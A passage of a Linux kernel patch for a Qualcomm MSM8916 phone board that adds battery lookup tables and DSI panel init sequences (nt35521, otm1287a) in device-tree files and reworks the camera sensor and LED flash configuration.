100644 drivers/input/touchscreen/hx852xes/himax_852xES.c create mode 100644 drivers/input/touchscreen/hx852xes/himax_852xES.h create mode 100644 drivers/input/touchscreen/hx852xes/himax_platform.c create mode 100644 drivers/input/touchscreen/hx852xes/himax_platform.h delete mode 100644 drivers/input/touchscreen/wake_gestures.c diff --git a/arch/arm/boot/dts/qcom/batterydata-uni-L500C-4v35-2100mah.dtsi b/arch/arm/boot/dts/qcom/batterydata-uni-L500C-4v35-2100mah.dtsi new file mode 100644 index 0000000000000..514a11494a757 --- /dev/null +++ b/arch/arm/boot/dts/qcom/batterydata-uni-L500C-4v35-2100mah.dtsi @@ -0,0 +1,121 @@ +/* Copyright (c) 2015, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +qcom,qrd-skuh-4v35-2100mah-data { + qcom,default-rbatt-mohm = <141>; + qcom,max-voltage-uv = <4350000>; + qcom,fcc-mah = <2100>; + qcom,rbatt-capacitive-mohm = <50>; + qcom,v-cutoff-uv = <3400000>; + qcom,chg-term-ua = <100000>; + qcom,batt-id-kohm = <110>; + qcom,flat-ocv-threshold-uv = <3800000>; + qcom,battery-type = "qrd_skuh_4v35_2100mah"; + + qcom,fcc-temp-lut { + qcom,lut-col-legend = <(-20) 0 25 40 60>; + qcom,lut-data = <2208 2205 2204 2196 2185>; + }; + + qcom,pc-temp-ocv-lut { + qcom,lut-col-legend = <(-20) 0 25 40 60>; + qcom,lut-row-legend = <100 95 90 85 80>, + <75 70 65 60 55>, + <50 45 40 35 30>, + <25 20 16 13 11>, + <10 9 8 7 6>, + <5 4 3 2 1>, + <0>; + qcom,lut-data = + <4342 4338 4334 4328 4320>, + <4222 4241 4244 4242 4237>, + <4150 4182 4184 4182 4177>, + <4084 4125 4128 4127 4121>, + <4032 4070 4078 4076 4069>, + <3940 4004 4028 4028 4020>, + <3898 3939 3974 3981 3977>, + <3864 3910 3940 3944 3938>, + <3831 3878 3894 3904 3899>, + <3804 3848 3856 3860 3857>, + <3786 3822 3828 3830 3824>, + <3774 3800 3808 3808 3804>, + <3764 3782 3791 3792 3786>, + <3752 3770 3778 3778 3774>, + <3742 3761 3768 3766 3754>, + <3729 3750 3757 3750 3732>, + <3713 3732 3742 3733 3714>, + <3696 3718 3720 3712 3692>, + <3682 3709 3700 3692 3672>, + <3666 3703 3690 3682 3670>, + <3658 3700 3688 3680 3668>, + <3648 3696 3688 3680 3666>, + <3634 3692 3686 3678 3663>, + <3619 3686 3684 3676 3651>, + <3600 3674 3676 3669 3626>, + <3576 3650 3650 3644 3591>, + <3543 3610 3604 3600 3544>, + <3499 3551 3544 3540 3482>, + <3426 3466 3461 3460 3398>, + <3304 3336 3331 3334 3277>, + <3025 3000 3000 3000 3000>; +}; + + qcom,rbatt-sf-lut { + qcom,lut-col-legend = <(-20) 0 25 40 60>; + qcom,lut-row-legend = <100 95 90 85 80>, + <75 70 65 60 55>, + <50 45 40 35 30>, + <25 20 16 13 11>, + <10 9 8 7 6>, + <5 4 3 2 1>; + qcom,lut-data = + <1091 233 100 84 78>, + <1091 233 100 84 78>, + <1075 243 103 85 79>, + <1048 250 107 87 80>, + <1043 248 113 91 83>, + <952 246 121 96 86>, + <950 230 129 101 89>, + <956 233 132 108 94>, + <957 232 118 109 98>, + <971 231 105 95 90>, + <1003 233 103 87 82>, + <1052 236 104 87 83>, + <1116 238 104 88 85>, + <1197 243 106 91 88>, + <1287 252 106 90 84>, + <1383 261 106 87 81>, + <1470 263 106 87 82>, + <1513 273 106 88 83>, + <1444 269 103 86 82>, + <1560 285 101 85 84>, + <1622 296 104 87 85>, + <1691 311 106 89 87>, + <1765 332 109 91 89>, + <1949 355 113 94 91>, + <2269 380 116 94 99>, + <2736 410 114 92 104>, + <3554 479 116 94 108>, + <4994 643 124 99 116>, + <8624 1006 142 107 135>, + <17248 2013 183 128 199>; + }; + + qcom,ibat-acc-lut { + qcom,lut-col-legend = <(-20) 0 25>; + qcom,lut-row-legend = <0 250 500 1000>; + qcom,lut-data = <2164 2172 2170>, + <834 2095 2130>, + <477 1986 2116>, + <62 1642 2085>; + }; +}; diff --git a/arch/arm/boot/dts/qcom/dsi-panel-nt35521-720p-dj-video.dtsi b/arch/arm/boot/dts/qcom/dsi-panel-nt35521-720p-dj-video.dtsi new file mode 100644 index 0000000000000..a4d92b26d41c8 --- /dev/null +++ b/arch/arm/boot/dts/qcom/dsi-panel-nt35521-720p-dj-video.dtsi @@ -0,0 +1,201 @@ +/* Copyright (c) 2015, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +/*--------------------------------------------------------------------------- + * This file is autogenerated file using gcdb parser. Please do not edit it. + * Update input XML file to add a new entry or update variable in this file + * VERSION = "1.0" + *---------------------------------------------------------------------------*/ +&mdss_mdp { + dsi_nt35521_720p_dj_video: qcom,mdss_dsi_nt35521_720p_dj_video { + qcom,mdss-dsi-panel-name = "nt35521 720p dj video mode dsi panel"; + qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; + qcom,mdss-dsi-panel-type = "dsi_video_mode"; + qcom,mdss-dsi-panel-destination = "display_1"; + qcom,mdss-dsi-panel-framerate = <60>; + qcom,mdss-dsi-virtual-channel-id = <0>; + qcom,mdss-dsi-stream = <0>; + qcom,mdss-dsi-panel-width = <720>; + qcom,mdss-dsi-panel-height = <1280>; + qcom,mdss-dsi-h-front-porch = <80>; + qcom,mdss-dsi-h-back-porch = <80>; + qcom,mdss-dsi-h-pulse-width = <10>; + qcom,mdss-dsi-h-sync-skew = <0>; + qcom,mdss-dsi-v-back-porch = <20>; + qcom,mdss-dsi-v-front-porch = <20>; + qcom,mdss-dsi-v-pulse-width = <10>; + qcom,mdss-dsi-h-left-border = <0>; + qcom,mdss-dsi-h-right-border = <0>; + qcom,mdss-dsi-v-top-border = <0>; + qcom,mdss-dsi-v-bottom-border = <0>; + qcom,mdss-dsi-bpp = <24>; + qcom,mdss-dsi-color-order = "rgb_swap_rgb"; + qcom,mdss-dsi-underflow-color = <0xff>; + qcom,mdss-dsi-border-color = <0>; + qcom,mdss-dsi-on-command = [29 01 00 00 00 00 05 FF AA 55 A5 80 + 29 01 00 00 00 00 03 6F 11 00 + 29 01 00 00 00 00 03 F7 20 00 + 29 01 00 00 00 00 02 6F 06 + 29 01 00 00 00 00 02 F7 A0 + 29 01 00 00 00 00 02 6F 19 + 29 01 00 00 00 00 02 F7 12 + 29 01 00 00 00 00 02 6F 02 + 29 01 00 00 00 00 02 F7 47 + 29 01 00 00 00 00 02 6F 17 + 29 01 00 00 00 00 02 F4 70 + 29 01 00 00 00 00 02 6F 01 + 29 01 00 00 00 00 02 F9 46 + 29 01 00 00 00 00 06 F0 55 AA 52 08 00 + 29 01 00 00 00 00 06 BD 01 A0 10 10 01 + 29 01 00 00 00 00 05 B8 01 02 0C 02 + 29 01 00 00 00 00 03 BB 11 11 + 29 01 00 00 00 00 03 BC 00 00 + 29 01 00 00 00 00 02 B6 08 + 29 01 00 00 00 00 02 C8 80 + 29 01 00 00 00 00 03 D9 01 01 + 29 01 00 00 00 00 02 D4 C7 + 29 01 00 00 00 00 03 B1 60 21 + 29 01 00 00 00 00 06 F0 55 AA 52 08 01 + 29 01 00 00 00 00 03 B0 09 09 + 29 01 00 00 00 00 03 B1 09 09 + 29 01 00 00 00 00 03 BC A0 00 + 29 01 00 00 00 00 03 BD A0 00 + 29 01 00 00 00 00 02 BE 3F + 29 01 00 00 00 00 02 CA 00 + 29 01 00 00 00 00 02 C0 0C + 29 01 00 00 00 00 03 B5 03 03 + 29 01 00 00 00 00 03 B3 19 19 + 29 01 00 00 00 00 03 B4 19 19 + 29 01 00 00 00 00 03 B9 26 26 + 29 01 00 00 00 00 03 BA 24 24 + 29 01 00 00 00 00 06 F0 55 AA 52 08 02 + 29 01 00 00 00 00 02 EE 01 + 29 01 00 00 00 00 11 B0 00 00 00 16 00 41 00 62 00 7B 00 94 00 B5 00 E9 + 29 01 00 00 00 00 11 B1 01 0F 01 49 01 78 01 C0 01 F8 01 FA 02 2F 02 69 + 29 01 00 00 00 00 11 B2 02 8F 02 C2 02 E7 03 16 03 35 03 5E 03 78 03 99 + 29 01 00 00 00 00 05 B3 03 DE 03 FF + 29 01 00 00 00 00 02 C0 04 + 29 01 00 00 00 00 06 F0 55 AA 52 08 06 + 29 01 00 00 00 00 03 B0 31 2E + 29 01 00 00 00 00 03 B1 10 12 + 29 01 00 00 00 00 03 B2 16 18 + 29 01 00 00 00 00 03 B3 31 31 + 29 01 00 00 00 00 03 B4 31 34 + 29 01 00 00 00 00 03 B5 34 34 + 29 01 00 00 00 00 03 B6 34 34 + 29 01 00 00 00 00 03 B7 34 34 + 29 01 00 00 00 00 03 B8 33 2D + 29 01 00 00 00 00 03 B9 00 02 + 29 01 00 00 00 00 03 BA 03 01 + 29 01 00 00 00 00 03 BB 2D 33 + 29 01 00 00 00 00 03 BC 34 34 + 29 01 00 00 00 00 03 BD 34 34 + 29 01 00 00 00 00 03 BE 34 34 + 29 01 00 00 00 00 03 BF 34 31 + 29 01 00 00 00 00 03 C0 31 31 + 29 01 00 00 00 00 03 C1 19 17 + 29 01 00 00 00 00 03 C2 13 11 + 29 01 00 00 00 00 03 C3 2E 31 + 29 01 00 00 00 00 03 E5 31 31 + 29 01 00 00 00 00 03 C4 31 2D + 29 01 00 00 00 00 03 C5 19 17 + 29 01 00 00 00 00 03 C6 13 11 + 29 01 00 00 00 00 03 C7 31 31 + 29 01 00 00 00 00 03 C8 31 34 + 29 01 00 00 00 00 03 C9 34 34 + 29 01 00 00 00 00 03 CA 34 34 + 29 01 00 00 00 00 03 CB 34 34 + 29 01 00 00 00 00 03 CC 33 2E + 29 01 00 00 00 00 03 CD 03 01 + 29 01 00 00 00 00 03 CE 00 02 + 29 01 00 00 00 00 03 CF 2E 33 + 29 01 00 00 00 00 03 D0 34 34 + 29 01 00 00 00 00 03 D1 34 34 + 29 01 00 00 00 00 03 D2 34 34 + 29 01 00 00 00 00 03 D3 34 31 + 29 01 00 00 00 00 03 D4 31 31 + 29 01 00 00 00 00 03 D5 10 12 + 29 01 00 00 00 00 03 D6 16 18 + 29 01 00 00 00 00 03 D7 2D 31 + 29 01 00 00 00 00 03 E6 31 31 + 29 01 00 00 00 00 06 D8 00 00 00 00 00 + 29 01 00 00 00 00 06 D9 00 00 00 00 00 + 29 01 00 00 00 00 02 E7 00 + 29 01 00 00 00 00 06 F0 55 AA 52 08 05 + 29 01 00 00 00 00 02 ED 30 + 29 01 00 00 00 00 03 B0 17 06 + 29 01 00 00 00 00 02 B8 00 + 29 01 00 00 00 00 02 C0 0D + 29 01 00 00 00 00 02 C1 0B + 29 01 00 00 00 00 02 C2 00 + 29 01 00 00 00 00 02 C3 00 + 29 01 00 00 00 00 02 C4 84 + 29 01 00 00 00 00 02 C5 82 + 29 01 00 00 00 00 02 C6 82 + 29 01 00 00 00 00 02 C7 80 + 29 01 00 00 00 00 03 C8 0B 20 + 29 01 00 00 00 00 03 C9 07 20 + 29 01 00 00 00 00 03 CA 01 10 + 29 01 00 00 00 00 03 CB 01 10 + 29 01 00 00 00 00 06 D1 03 05 05 07 00 + 29 01 00 00 00 00 06 D2 03 05 09 03 00 + 29 01 00 00 00 00 06 D3 00 00 6A 07 10 + 29 01 00 00 00 00 06 D4 30 00 6A 07 10 + 29 01 00 00 00 00 06 F0 55 AA 52 08 03 + 29 01 00 00 00 00 03 B0 00 00 + 29 01 00 00 00 00 03 B1 00 00 + 29 01 00 00 00 00 06 B2 05 00 B8 00 00 + 29 01 00 00 00 00 06 B3 05 00 B8 00 00 + 29 01 00 00 00 00 06 B4 05 00 B8 00 00 + 29 01 00 00 00 00 06 B5 05 00 B8 00 00 + 29 01 00 00 00 00 06 B6 02 00 B8 00 00 + 29 01 00 00 00 00 06 B7 02 00 B8 00 00 + 29 01 00 00 00 00 06 B8 02 00 B8 00 00 + 29 01 00 00 00 00 06 B9 02 00 B8 00 00 + 29 01 00 00 00 00 06 BA 53 00 B8 00 00 + 29 01 00 00 00 00 06 BB 53 00 B8 00 00 + 29 01 00 00 00 00 06 BC 53 00 B8 00 00 + 29 01 00 00 00 00 06 BD 53 00 B8 00 00 + 29 01 00 00 00 00 02 C4 60 + 29 01 00 00 00 00 02 C5 40 + 29 01 00 00 00 00 02 C6 64 + 29 01 00 00 00 00 02 C7 44 + 29 01 00 00 00 00 02 6F 11 + 29 01 00 00 00 00 02 F3 01 + 29 01 00 00 00 00 06 F0 55 AA 52 08 04 + 29 01 00 00 00 00 05 EA 00 00 00 70 + 29 01 00 00 78 00 02 11 00 + 29 01 00 00 32 00 02 29 00]; + qcom,mdss-dsi-off-command = [05 01 00 00 32 00 02 28 00 + 05 01 00 00 78 00 02 10 00]; + qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-off-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-h-sync-pulse = <1>; + qcom,mdss-dsi-traffic-mode = "burst_mode"; + qcom,mdss-dsi-lane-map = "lane_map_0123"; + qcom,mdss-dsi-bllp-eof-power-mode; + qcom,mdss-dsi-bllp-power-mode; + qcom,mdss-dsi-lane-0-state; + qcom,mdss-dsi-lane-1-state; + qcom,mdss-dsi-lane-2-state; + qcom,mdss-dsi-lane-3-state; + qcom,mdss-dsi-panel-timings = [82 1a 12 00 3e 42 16 2f 14 03 04 00]; + qcom,mdss-dsi-t-clk-post = <0x04>; + qcom,mdss-dsi-t-clk-pre = <0x27>; + qcom,mdss-dsi-bl-min-level = <1>; + qcom,mdss-dsi-bl-max-level = <4095>; + qcom,mdss-dsi-dma-trigger = "trigger_sw"; + qcom,mdss-dsi-mdp-trigger = "none"; + qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_wled"; + qcom,mdss-dsi-reset-sequence = <1 20>, <0 20>, <1 120>; + }; +}; diff --git a/arch/arm/boot/dts/qcom/dsi-panel-otm1287a-720p-video.dtsi b/arch/arm/boot/dts/qcom/dsi-panel-otm1287a-720p-video.dtsi new file mode 100644 index 0000000000000..ba812644a9209 --- /dev/null +++ b/arch/arm/boot/dts/qcom/dsi-panel-otm1287a-720p-video.dtsi @@ -0,0 +1,179 @@ +/* Copyright (c) 2015, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +/*--------------------------------------------------------------------------- + * This file is autogenerated file using gcdb parser. Please do not edit it. + * Update input XML file to add a new entry or update variable in this file + * VERSION = "1.0" + *---------------------------------------------------------------------------*/ +&mdss_mdp { + dsi_otm1287a_720p_video: qcom,mdss_dsi_otm1287a_720p_video { + qcom,mdss-dsi-panel-name = "otm1287a 720p video mode dsi panel"; + qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; + qcom,mdss-dsi-panel-type = "dsi_video_mode"; + qcom,mdss-dsi-panel-destination = "display_1"; + qcom,mdss-dsi-panel-framerate = <60>; + qcom,mdss-dsi-virtual-channel-id = <0>; + qcom,mdss-dsi-stream = <0>; + qcom,mdss-dsi-panel-width = <720>; + qcom,mdss-dsi-panel-height = <1280>; + qcom,mdss-dsi-h-front-porch = <52>; + qcom,mdss-dsi-h-back-porch = <100>; + qcom,mdss-dsi-h-pulse-width = <24>; + qcom,mdss-dsi-h-sync-skew = <0>; + qcom,mdss-dsi-v-back-porch = <20>; + qcom,mdss-dsi-v-front-porch = <8>; + qcom,mdss-dsi-v-pulse-width = <4>; + qcom,mdss-dsi-h-left-border = <0>; + qcom,mdss-dsi-h-right-border = <0>; + qcom,mdss-dsi-v-top-border = <0>; + qcom,mdss-dsi-v-bottom-border = <0>; + qcom,mdss-dsi-bpp = <24>; + qcom,mdss-dsi-color-order = "rgb_swap_rgb"; + qcom,mdss-dsi-underflow-color = <0xff>; + qcom,mdss-dsi-border-color = <0>; + qcom,mdss-dsi-on-command = [29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 04 FF 12 87 01 + 29 01 00 00 00 00 02 00 80 + 29 01 00 00 00 00 03 FF 12 87 + 29 01 00 00 00 00 02 00 92 + 29 01 00 00 00 00 03 FF 30 02 + 29 01 00 00 00 00 02 00 80 + 29 01 00 00 00 00 0A C0 00 64 00 10 10 00 64 10 10 + 29 01 00 00 00 00 02 00 90 + 29 01 00 00 00 00 07 C0 00 5c 00 01 00 04 + 29 01 00 00 00 00 02 00 B3 + 29 01 00 00 00 00 03 C0 00 55 + 29 01 00 00 00 00 02 00 81 + 29 01 00 00 00 00 02 C1 55 + 29 01 00 00 00 00 02 00 A0 + 29 01 00 00 00 00 0F C4 05 10 04 02 05 15 11 05 10 07 02 05 15 11 + 29 01 00 00 00 00 02 00 B0 + 29 01 00 00 00 00 03 C4 00 00 + 29 01 00 00 00 00 02 00 91 + 29 01 00 00 00 00 03 C5 A6 D2 + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 03 D8 C7 C7 + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 02 D9 69 + 29 01 00 00 00 00 02 00 B3 + 29 01 00 00 00 00 02 C5 84 + 29 01 00 00 00 00 02 00 BB + 29 01 00 00 00 00 02 C5 8A + 29 01 00 00 00 00 02 00 82 + 29 01 00 00 00 00 02 C4 0A + 29 01 00 00 00 00 02 00 C6 + 29 01 00 00 00 00 02 B0 03 + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 02 D0 40 + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 03 D1 00 00 + 29 01 00 00 00 00 02 00 B2 + 29 01 00 00 00 00 03 F5 00 00 + 29 01 00 00 00 00 02 00 B6 + 29 01 00 00 00 00 03 F5 00 00 + 29 01 00 00 00 00 02 00 94 + 29 01 00 00 00 00 03 F5 00 00 + 29 01 00 00 00 00 02 00 D2 + 29 01 00 00 00 00 03 F5 06 15 + 29 01 00 00 00 00 02 00 B4 + 29 01 00 00 00 00 02 C5 CC + 29 01 00 00 00 00 02 00 90 + 29 01 00 00 00 00 05 F5 02 11 02 15 + 29 01 00 00 00 00 02 00 90 + 29 01 00 00 00 00 02 C5 50 + 29 01 00 00 00 00 02 00 94 + 29 01 00 00 00 00 02 C5 66 + 29 01 00 00 00 00 02 00 80 + 29 01 00 00 00 00 0C CB 00 00 00 00 00 00 00 00 00 00 00 + 29 01 00 00 00 00 02 00 90 + 29 01 00 00 00 00 10 CB 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 29 01 00 00 00 00 02 00 A0 + 29 01 00 00 00 00 10 CB 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 29 01 00 00 00 00 02 00 B0 + 29 01 00 00 00 00 10 CB 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 29 01 00 00 00 00 02 00 C0 + 29 01 00 00 00 00 10 CB 05 05 05 05 05 05 05 05 05 00 05 00 00 00 00 + 29 01 00 00 00 00 02 00 D0 + 29 01 00 00 00 00 10 CB 00 00 00 00 05 00 00 05 05 05 05 05 05 05 05 + 29 01 00 00 00 00 02 00 E0 + 29 01 00 00 00 00 0F CB 05 00 05 00 00 00 00 00 00 00 00 05 00 00 + 29 01 00 00 00 00 02 00 F0 + 29 01 00 00 00 00 0C CB ff ff ff ff ff ff ff ff ff ff ff + 29 01 00 00 00 00 02 00 80 + 29 01 00 00 00 00 10 cc 29 2a 0a 0c 0e 10 12 14 06 00 08 00 00 00 00 + 29 01 00 00 00 00 02 00 90 + 29 01 00 00 00 00 10 cc 00 00 00 00 02 00 00 29 2a 09 0b 0d 0f 11 13 + 29 01 00 00 00 00 02 00 a0 + 29 01 00 00 00 00 0F cc 05 00 07 00 00 00 00 00 00 00 00 01 00 00 + 29 01 00 00 00 00 02 00 b0 + 29 01 00 00 00 00 10 cc 29 2a 13 11 0f 0d 0b 09 01 00 07 00 00 00 00 + 29 01 00 00 00 00 02 00 c0 + 29 01 00 00 00 00 10 cc 00 00 00 00 05 00 00 29 2a 14 12 10 0e 0c 0a + 29 01 00 00 00 00 02 00 d0 + 29 01 00 00 00 00 0F cc 02 00 08 00 00 00 00 00 00 00 00 06 00 00 + 29 01 00 00 00 00 02 00 80 + 29 01 00 00 00 00 0D ce 89 05 10 88 05 10 00 00 00 00 00 00 + 29 01 00 00 00 00 02 00 90 + 29 01 00 00 00 00 0F ce 54 fc 10 54 fd 10 55 00 10 55 01 10 00 00 + 29 01 00 00 00 00 02 00 A0 + 29 01 00 00 00 00 0F ce 58 07 04 fc 00 10 00 58 06 04 fd 00 10 00 + 29 01 00 00 00 00 02 00 b0 + 29 01 00 00 00 00 0F ce 58 05 04 fe 00 10 00 58 04 04 ff 00 10 00 + 29 01 00 00 00 00 02 00 c0 + 29 01 00 00 00 00 0F ce 58 03 05 00 00 10 00 58 02 05 01 00 10 00 + 29 01 00 00 00 00 02 00 d0 + 29 01 00 00 00 00 0F ce 58 01 05 02 00 10 00 58 00 05 03 00 10 00 + 29 01 00 00 00 00 02 00 80 + 29 01 00 00 00 00 0F cf 50 00 05 04 00 10 00 50 01 05 05 00 10 00 + 29 01 00 00 00 00 02 00 90 + 29 01 00 00 00 00 0F cf 50 02 05 06 00 10 00 50 03 05 07 00 10 00 + 29 01 00 00 00 00 02 00 a0 + 29 01 00 00 00 00 0F cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 29 01 00 00 00 00 02 00 b0 + 29 01 00 00 00 00 0F cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 29 01 00 00 00 00 02 00 c0 + 29 01 00 00 00 00 0c cf 39 39 20 20 00 00 01 01 20 00 00 + 29 01 00 00 00 00 02 00 b5 + 29 01 00 00 00 00 07 c5 0b 95 ff 0b 95 ff + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 15 E1 00 2d 3d 4b 5a 69 67 8b 7a 8a 79 69 7f 58 56 47 35 1f 0a 00 + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 15 E2 00 2d 3d 4b 5a 69 67 8b 7a 8a 79 69 7f 58 56 47 35 1f 0a 00 + 29 01 00 00 00 00 02 00 00 + 29 01 00 00 00 00 04 ff ff ff ff + 05 01 00 00 78 00 02 11 00 + 05 01 00 00 32 00 02 29 00]; + qcom,mdss-dsi-off-command = [05 01 00 00 32 00 02 28 00 + 05 01 00 00 78 00 02 10 00]; + qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-off-command-state = "dsi_lp_mode"; + qcom,mdss-dsi-h-sync-pulse = <1>; + qcom,mdss-dsi-traffic-mode = "burst_mode"; + qcom,mdss-dsi-lane-map = "lane_map_0123"; + qcom,mdss-dsi-bllp-eof-power-mode; + qcom,mdss-dsi-bllp-power-mode; + qcom,mdss-dsi-lane-0-state; + qcom,mdss-dsi-lane-1-state; + qcom,mdss-dsi-lane-2-state; + qcom,mdss-dsi-lane-3-state; + qcom,mdss-dsi-panel-timings = [92 1A 12 00 3E 42 16 1E 14 03 04 00]; + qcom,mdss-dsi-t-clk-post = <0x04>; + qcom,mdss-dsi-t-clk-pre = <0x1C>; + qcom,mdss-dsi-bl-min-level = <1>; + qcom,mdss-dsi-bl-max-level = <4095>; + qcom,mdss-dsi-dma-trigger = "trigger_sw"; + qcom,mdss-dsi-mdp-trigger = "none"; + qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_wled"; + qcom,mdss-dsi-reset-sequence = <1 20>, <0 2>, <1 20>; + }; +}; diff --git a/arch/arm/boot/dts/qcom/msm8916-camera-sensor-qrd.dtsi b/arch/arm/boot/dts/qcom/msm8916-camera-sensor-qrd.dtsi index 8614163cd23f2..f9b166fd58757 100644 --- a/arch/arm/boot/dts/qcom/msm8916-camera-sensor-qrd.dtsi +++ b/arch/arm/boot/dts/qcom/msm8916-camera-sensor-qrd.dtsi @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, The Linux Foundation. All rights reserved. + * Copyright (c) 2015, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -12,45 +12,53 @@ */ &tlmm_pinmux { - lm3642-en-pin { - qcom,pins = <&gp 31>, <&gp 86>; + camera_ldo_pins_default { + qcom,pins = <&gp 114>, <&gp 110>; qcom,num-grp-pins = <2>; - label = "lm3642_en_pins"; qcom,pin-func = <0>; - - lm3642_en_default: en-default { - driver-strength = <2>; - bias-disable; + label = "camera_ldo_pins_default"; + camera_ldo_default: en_default { + drive-strength = <2>; + bias-pull-up; }; - lm3642_en_suspend: en-suspend { - driver-strength = <2>; + }; + + camera_ldo_pins_sleep { + qcom,pins = <&gp 114>, <&gp 110>; + qcom,num-grp-pins = <2>; + qcom,pin-func = <0>; + label = "camera_ldo_pins_suspend"; + camera_ldo_suspend: en_suspend { + drive-strength = <2>; bias-pull-down; }; }; - }; -&i2c_0 { - flash_lm3642:qcom,led-flash@0 { - cell-index = <0>; - reg = <0x63>; - qcom,slave-id = <0xC6 0x00 0x0011>; - compatible = "ti,lm3642"; - label = "lm3642"; - qcom,flash-type = <1>; - pinctrl-names = "cam_flash_default","cam_flash_suspend"; - pinctrl-0 = <&lm3642_en_default>; - pinctrl-1 = <&lm3642_en_suspend>; - gpios = <&msm_gpio 86 0>, - <&msm_gpio 31 0>; - qcom,gpio-flash-en = <0>; - qcom,gpio-flash-now = <1>; - qcom,gpio-req-tbl-num = <0 1>; - qcom,gpio-req-tbl-flags = <0 0>; - qcom,gpio-req-tbl-label = "FLASH_EN", - "FLASH_NOW"; - }; +&soc{ + flash_SGM3140:flashlight { + compatible = "qcom,leds-gpio-flash"; + status = "okay"; + pinctrl-names = "flash_default"; + pinctrl-0 = <&cam_sensor_flash_default>; + qcom,flash-en = <&msm_gpio 8 0>; + qcom,flash-now = <&msm_gpio 32 0>; + qcom,op-seq = "flash_en", "flash_now"; + qcom,torch-seq-val = <1 0>; + qcom,flash-seq-val = <1 0>; + linux,name = "flashlight"; + linux,default-trigger = "flashlight-trigger"; + }; + + led_flash0: qcom,camera-led-flash { + cell-index = <0>; + compatible = "qcom,camera-led-flash"; + qcom,flash-type = <3>; + qcom,flash-source = <&flash_SGM3140>; + qcom,torch-source = <&flash_SGM3140>; + }; }; + &cci { actuator0: qcom,actuator@6e { cell-index = <3>; @@ -67,38 +75,33 @@ qcom,csid-sd-index = <0>; qcom,mount-angle = <90>; qcom,actuator-src = <&actuator0>; - qcom,led-flash-src = <&flash_lm3642>; - cam_vdig-supply = <&pm8916_l2>; - cam_vio-supply = <&pm8916_l6>; + qcom,led-flash-src = <&led_flash0>; + cam_vdig-supply = <&pm8916_s4>; cam_vana-supply = <&pm8916_l17>; + cam_vio-supply = <&pm8916_l6>; cam_vaf-supply = <&pm8916_l10>; qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana", "cam_vaf"; - qcom,cam-vreg-min-voltage = <1200000 0 2850000 2800000>; - qcom,cam-vreg-max-voltage = <1200000 0 2850000 2800000>; + qcom,cam-vreg-type = <0 1 0 0>; + qcom,cam-vreg-min-voltage = <2100000 0 2850000 2800000>; + qcom,cam-vreg-max-voltage = <2100000 0 2850000 2800000>; qcom,cam-vreg-op-mode = <200000 0 80000 100000>; pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk0_default &cam_sensor_rear_default>; - pinctrl-1 = <&cam_sensor_mclk0_sleep &cam_sensor_rear_sleep>; + pinctrl-0 = <&cam_sensor_mclk0_default &cam_sensor_rear_default &camera_ldo_default>; + pinctrl-1 = <&cam_sensor_mclk0_sleep &cam_sensor_rear_sleep &camera_ldo_suspend>; gpios = <&msm_gpio 26 0>, + <&msm_gpio 10 0>, <&msm_gpio 35 0>, - <&msm_gpio 34 0>, - <&msm_gpio 114 0>, - <&msm_gpio 110 0>, - <&msm_gpio 120 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-vdig = <3>; - qcom,gpio-vana = <4>; - qcom,gpio-af-pwdm = <5>; - qcom,gpio-req-tbl-num = <0 1 2 3 4 5>; - qcom,gpio-req-tbl-flags = <1 0 0 0 0 0>; + <&msm_gpio 34 0>; + qcom,gpio-vana = <1>; + qcom,gpio-reset = <2>; + qcom,gpio-standby = <3>; + qcom,gpio-req-tbl-num = <0 1 2 3>; + qcom,gpio-req-tbl-flags = <1 0 0 0>; qcom,gpio-req-tbl-label = "CAMIF_MCLK", - "CAM_RESET1", - "CAM_STANDBY", - "CAM_VDIG", "CAM_VANA", - "CAM_AF_PWDM"; + "CAM_RESET1", + "CAM_STANDBY"; qcom,sensor-position = <0>; qcom,sensor-mode = <0>; qcom,cci-master = <0>; @@ -116,32 +119,30 @@ qcom,csiphy-sd-index = <1>; qcom,csid-sd-index = <1>; qcom,mount-angle = <270>; - cam_vdig-supply = <&pm8916_l2>; - cam_vio-supply = <&pm8916_l6>; + cam_vdig-supply = <&pm8916_l16>; cam_vana-supply = <&pm8916_l17>; + 